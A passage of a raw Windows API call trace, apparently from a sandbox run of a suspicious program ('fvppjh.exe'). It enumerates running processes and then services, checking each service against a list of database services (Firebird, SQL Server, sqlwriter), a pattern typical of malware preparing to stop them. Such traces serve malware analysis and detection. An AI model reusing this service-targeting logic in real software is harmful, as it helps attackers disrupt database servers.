	[0151.431] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0151.432] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0151.432] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0151.432] lstrlenW (lpString="Memory Compression") returned 18
	[0151.432] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0151.433] lstrlenW (lpString="sihost.exe") returned 10
	[0151.433] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.433] lstrlenW (lpString="svchost.exe") returned 11
	[0151.433] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.434] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.434] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0151.434] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0151.434] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.435] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.435] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0151.435] lstrlenW (lpString="userinit.exe") returned 12
	[0151.435] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0151.436] lstrlenW (lpString="explorer.exe") returned 12
	[0151.436] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0151.436] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0151.436] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0151.437] lstrlenW (lpString="SearchUI.exe") returned 12
	[0151.437] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0151.437] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0151.437] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0151.437] lstrlenW (lpString="mobsync.exe") returned 11
	[0151.437] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0151.438] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0151.438] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.438] lstrlenW (lpString="svchost.exe") returned 11
	[0151.438] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0151.439] lstrlenW (lpString="fvppjh.exe") returned 10
	[0151.439] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0151.439] lstrlenW (lpString="cmd.exe") returned 7
	[0151.439] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0151.440] lstrlenW (lpString="conhost.exe") returned 11
	[0151.440] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0151.440] CloseHandle (hObject=0x278) returned 1
	[0151.440] Sleep (dwMilliseconds=0x1f4) 
	[0152.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5ddc00
	[0152.490] EnumServicesStatusExW (in: hSCManager=0x5ddc00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0152.491] GetLastError () returned 0xea
	[0152.491] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1b78) returned 0x5f6fb8
	[0152.491] EnumServicesStatusExW (in: hSCManager=0x5ddc00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f6fb8, cbBufSize=0x1b78, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f6fb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0152.493] CloseServiceHandle (hSCObject=0x5ddc00) returned 1
	[0152.493] lstrlenW (lpString="AppXSvc") returned 7
	[0152.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0152.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0152.493] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0152.494] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0152.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0152.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0152.494] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0152.494] lstrlenW (lpString="Audiosrv") returned 8
	[0152.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0152.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0152.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0152.494] lstrlenW (lpString="BFE") returned 3
	[0152.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0152.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0152.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0152.494] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0152.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0152.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0152.494] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0152.494] lstrlenW (lpString="CDPSvc") returned 6
	[0152.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0152.494] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0152.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0152.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0152.495] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0152.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0152.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0152.495] lstrlenW (lpString="CryptSvc") returned 8
	[0152.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0152.495] lstrlenW (lpString="DcomLaunch") returned 10
	[0152.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0152.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0152.495] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0152.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0152.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0152.495] lstrlenW (lpString="Dhcp") returned 4
	[0152.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0152.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0152.495] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0152.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0152.495] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0152.496] lstrlenW (lpString="Dnscache") returned 8
	[0152.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0152.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0152.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0152.496] lstrlenW (lpString="DPS") returned 3
	[0152.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0152.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0152.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0152.496] lstrlenW (lpString="DusmSvc") returned 7
	[0152.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0152.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0152.496] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0152.496] lstrlenW (lpString="EventLog") returned 8
	[0152.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0152.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0152.496] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0152.496] lstrlenW (lpString="EventSystem") returned 11
	[0152.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0152.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0152.496] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0152.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0152.496] lstrlenW (lpString="FontCache") returned 9
	[0152.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0152.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0152.496] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0152.496] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0152.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0152.497] lstrlenW (lpString="gpsvc") returned 5
	[0152.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0152.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0152.497] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0152.497] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0152.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0152.497] lstrlenW (lpString="iphlpsvc") returned 8
	[0152.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0152.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0152.497] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0152.497] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0152.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0152.497] lstrlenW (lpString="KeyIso") returned 6
	[0152.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0152.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0152.497] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0152.497] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0152.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0152.497] lstrlenW (lpString="LanmanServer") returned 12
	[0152.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0152.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0152.497] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0152.497] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0152.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0152.497] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0152.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0152.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0152.497] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0152.497] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0152.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0152.497] lstrlenW (lpString="lfsvc") returned 5
	[0152.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0152.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0152.497] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0152.497] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0152.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0152.498] lstrlenW (lpString="lmhosts") returned 7
	[0152.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0152.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0152.498] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0152.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0152.498] lstrlenW (lpString="LSM") returned 3
	[0152.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0152.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0152.498] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0152.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0152.498] lstrlenW (lpString="MpsSvc") returned 6
	[0152.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0152.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0152.498] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0152.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0152.498] lstrlenW (lpString="NcbService") returned 10
	[0152.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0152.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0152.498] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0152.498] lstrlenW (lpString="netprofm") returned 8
	[0152.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0152.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0152.498] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0152.498] lstrlenW (lpString="NgcSvc") returned 6
	[0152.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0152.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0152.498] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0152.498] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0152.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0152.499] lstrlenW (lpString="NlaSvc") returned 6
	[0152.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0152.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0152.499] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0152.499] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0152.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0152.499] lstrlenW (lpString="nsi") returned 3
	[0152.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0152.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0152.673] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0152.673] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0152.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0152.673] lstrlenW (lpString="PcaSvc") returned 6
	[0152.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0152.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0152.675] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0152.675] lstrlenW (lpString="PlugPlay") returned 8
	[0152.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0152.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0152.675] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0152.675] lstrlenW (lpString="Power") returned 5
	[0152.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0152.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0152.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0152.675] lstrlenW (lpString="ProfSvc") returned 7
	[0152.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0152.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0152.675] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0152.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0152.675] lstrlenW (lpString="RpcEptMapper") returned 12
